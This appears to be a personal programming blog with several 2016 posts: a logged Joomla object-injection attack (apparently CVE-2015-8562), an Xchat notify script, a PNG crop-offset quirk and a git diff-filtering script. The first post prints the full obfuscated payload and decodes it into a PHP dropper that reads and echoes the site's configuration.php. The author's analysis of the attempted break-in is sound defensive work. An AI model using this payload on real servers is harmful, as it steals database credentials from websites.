Thursday 7 July 2016

Server break-in attempts

On my website I log all the HTTP request headers to a file, and today I noticed an interesting bit:
    [HTTP_X_FORWARDED_FOR] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:2397:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(56).chr(56).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(74).chr(72).chr(77).chr(103).chr(80).chr(83).chr(82).chr(102).chr(85).chr(48).chr(86).chr(83).chr(86).chr(107).chr(86).chr(83).chr(87).chr(121).chr(100).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(102).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(79).chr(121).chr(82).chr(106).chr(80).chr(87).chr(74).chr(104).chr(99).chr(50).chr(85).chr(50).chr(78).chr(70).chr(57).chr(108).chr(98).chr(109).chr(78).chr(118).chr(90).chr(71).chr(85).chr(111).chr(90).chr(109).chr(108).chr(115).chr(90).chr(86).chr(57).chr(110).chr(90).chr(88).chr(82).chr(102).chr(89).chr(50).chr(57).chr(117).chr(100).chr(71).chr(86).chr(117).chr(100).chr(72).chr(77).chr(111).chr(74).chr(50).chr(78).chr(118).chr(98).chr(109).chr(90).chr(112).chr(90).chr(51).chr(86).chr(121).chr(89).chr(88).chr(82).chr(112).chr(98).chr(50).chr(52).chr(117).chr(99).chr(71).chr(104).chr(119).chr(74).chr(121).chr(107).chr(112).chr(79).chr(50).chr(86).chr(106).chr(97).chr(71).chr(56).chr(103).chr(74).chr(72).chr(77).chr(103).chr(76).chr(105).chr(65).chr(105).chr(73).chr(67).chr(73).chr(103).chr(76).chr(105).chr(65).chr(107).chr(89).chr(122).chr(116).chr(49).chr(98).chr(109).chr(120).chr(112).chr(98).chr(109).chr(115).chr(111).chr(74).chr(70).chr(57).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(98).chr(74).chr(49).chr(78).chr(68).chr(85).chr(107).chr(108).chr(81).chr(86).chr(70).chr(57).chr(71).chr(83).chr(85).chr(120).chr(70).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(75).chr(84).chr(115).chr(47).chr(80).chr(103).chr(61).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>

That looks a bit fishy, a bit like a PHP equivalent of an SQL injection attack. Notice the closing curly brace - clearly intended to break out of some parser and inject some unexpected data-code.

What does that chr()-encoded string contain?
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode('PD9waHAgJHMgPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRjPWJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2NvbmZpZ3VyYXRpb24ucGhwJykpO2VjaG8gJHMgLiAiICIgLiAkYzt1bmxpbmsoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTs/Pg=='));

And in turn that Base64-encoded string is:
<?php $s =$_SERVER['SERVER_NAME'];$c=base64_encode(file_get_contents('configuration.php'));echo $s . " " . $c;unlink($_SERVER['SCRIPT_FILENAME']);?>

So that's what they're after - a list of hostnames and the contents of configuration.php.

Some Internet searching reveals that this is probably CVE-2015-8562. I'm tempted to record the IP addresses of the clients that attempt these code injections and return them with a fake Joomla configuration on requests for /88.php.

Sunday 19 June 2016

Xchat script for catching flash-in-the-pan users

I've been trying to speak to someone on IRC who is only very sporadically online, and when they are, it's often for less than a minute. They probably just connect, see no activity (in a very short period) and thus leave again. I'm in self-exile from the channel they join, so they don't greet me, which would normally trigger my IRC client's nick catcher that pops up an alert.

/notify helps me to at least see when they were online, but it doesn't help me catch them while they're still online. Xchat's "Friends" list doesn't pop up an alert, unfortunately. Frustratingly I often check on IRC only to see that they had been online while I was at my computer - just busy doing something else.

So I wrote an Xchat script to help me out. It's a script that performs an arbitrary command when a matching "Notify Online" event occurs. I've set it to msg myself, which will cause Xchat to pop up an alert, and hopefully I'll notice that while I'm working on my dark web drug marketplace or watching pr0n.

The script: http://www.bpj-code.co.za/downloads.php/xchat/blitzchat.pl?text

Saturday 11 June 2016

TIL: PNG images can specify an offset

I'm working with a world map that I want to treat as consisting of 20x20 tiles. Because the image is 7964x3980, I need to add 8 pixels on the western and eastern edges. Seems simple enough:
$ convert +append WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png /tmp/threeworlds.png $ convert -crop 7980x3980+7956+0 /tmp/threeworlds.png world-tiled.png

The first command is to replicate the map so that the larger crop window can grab the 8 columns of pixels of the East and paste them west of the West, and the same for the opposite edge of the image.

Now I thought it would be simple to view a window of this map, scaled down by some integer factor. A degenerate case is to view the whole map, at a 1:1 scaling:
$ convert -crop 7980x3980+0+0 -scale 399x199 world-tiled.png /tmp/wf.png $ file /tmp/wf.jpeg /tmp/wf.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 1x199, frames 3

WAT

I'm tearing my hair out trying to figure out why world-tiled.png crops this way, but WorldMap-A_non-Frame.png crops exactly as expected when I notice one Internet search result using the -repage argument to convert(1). Combined with some warnings I saw while flailing about with random geometry specifications:
$ convert world-tiled.png  -crop 7900x3900+0+0 /tmp/wf.jpeg convert: geometry does not contain image `world-tiled.png' @ warning/transform.c/CropImage/674.

I start to wonder if there's some metadata in PNG files that file(1) doesn't report, that characterizes the coordinate system reference frame for the pixel data. Indeed, when I load world-tiled.png in GIMP, it prompts me whether I want to keep the image offset or ditch it.

I ditch the offset of course, let GIMP overwrite the image, and since then my image crops as expected. Side benefit: GIMP seems to compress the image harder, although that may just be a difference in defaults.

Friday 5 February 2016

Diffs without noise

Over the last year or five I've been on a particular refactoring campaign in my gEDA fork. I'm trying to reduce the number of places where an object's forward and reverse pointers get accessed explicitly. To find all these places, I temporarily renamed these pointer fields to something unique so that I can reliably find and edit all these occurrences at any given time. So my working directory is full of noisy diff hunks like this one:

@@ -287,9 +287,9 @@ int f_open_flags(TOPLEVEL *toplevel, PAGE *page, const gchar *filename, o_read(toplevel, page->object_tail, full_filename, &tmp_err); } - for (o_current = page->object_tail->next; + for (o_current = page->object_tail->next_secret; o_current != NULL; - o_current = o_current->next) { + o_current = o_current->next_secret) { /* This would also be a place to emit page signals. */ s_conn_update_object(page, o_current); o_attrib_init_uuid(toplevel, o_current);

When I'm changing some code that doesn't explicitly use these forward and reverse pointers (yet is still required to complete the refactor) I want to see only the diffs from those changes. Without the diff pollution caused by renaming the pointer fields. If only there were a way to canonicalize each side of the diff before comparing them, so as to hide the uninteresting differences... So I wrote a way to do that, using git's external diff tool facility:

#!/bin/sh if test $# -ge 7; then a=`mktemp` b=`mktemp` sed "$GIT_DIFF_OPTS" "$2" >$a sed "$GIT_DIFF_OPTS" "$5" >$b diff -up --label "$1" --label "$5" $a $b rm -f $a $b else diff -up /dev/null "$1" fi true

(It isn't very robust to argument errors.) I invoke it like this:

GIT_DIFF_OPTS='s/_secret//g' GIT_EXTERNAL_DIFF=~/personal-utils/git-diff-sed git diff

Unfortunately diff colouring doesn't happen when using an external diff tool. Otherwise it works like a charm.